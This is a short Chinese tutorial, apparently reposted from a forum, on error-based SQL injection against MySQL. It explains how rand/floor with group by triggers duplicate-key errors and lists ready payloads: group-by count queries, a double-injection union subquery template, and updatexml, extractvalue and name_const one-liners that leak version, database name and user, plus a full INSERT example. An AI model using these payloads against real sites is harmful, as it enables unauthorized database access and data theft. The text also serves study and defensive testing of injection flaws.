原文作者 习科论坛sharecast(有删减)

MySQL报错注入主要用到下面几个函数

1. Rand() #随机函数范围是(0,1)*2=⇒(0,2)
2. Floor() #取整函数floor(rand()*2)取整后就是0和1两个数
3. CONUNT() #汇总函数
4. Group by #分组语句

假定database()为test

SELECT CONCAT((SELECT database()),floor(rand()*2));

会返回test0和test的集合,如果要去重,就使用group by

SELECT CONCAT((SELECT database()),floor(rand()*2)) as a from test group by a;

简单解释一下语句:

CONCAT((SELECT database()),floor(rand()*2)) as a是将列名重命名为a
Group by a就是将根据a这个列的数据,将查询出来相同的数据分到一个组里面
因此结果就只剩test0和test1两个结果。

同理可以将database()换成其它你想要查询的东西,如version()@@datadir等。

select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;
select count(*), concat('--',(select user()),'--', floor(rand()*2))as a from information_schema.tables group by a;

更加高级的一点的就是双注入查询,select的嵌套子查询,就是select里面还有一个select查询语句,通常是一种固定的格式,适用于没有回现位置,和同页面同变量带入含有两个字段不同的sql语句执行从而不能order by确定的注入

union select 1 from (select+count(*),concat(floor(rand(0)*2),( 注入爆数据语句))a from information_schema.tables group by a)b

子select语句就是上面讲的原理,而更多的解释可参见mysql报错注入原理

同理可使用下面语句报错注入

or updatexml(1,concat(0x7e,(version())),0) or ''
or extractvalue(1,concat(0x7e,database())) or ''
or (SELECT * FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or ''

带入系统中完整的语句就是

insert into test values (5 or updatexml(1,concat(0x7e,(version())),0)  or'');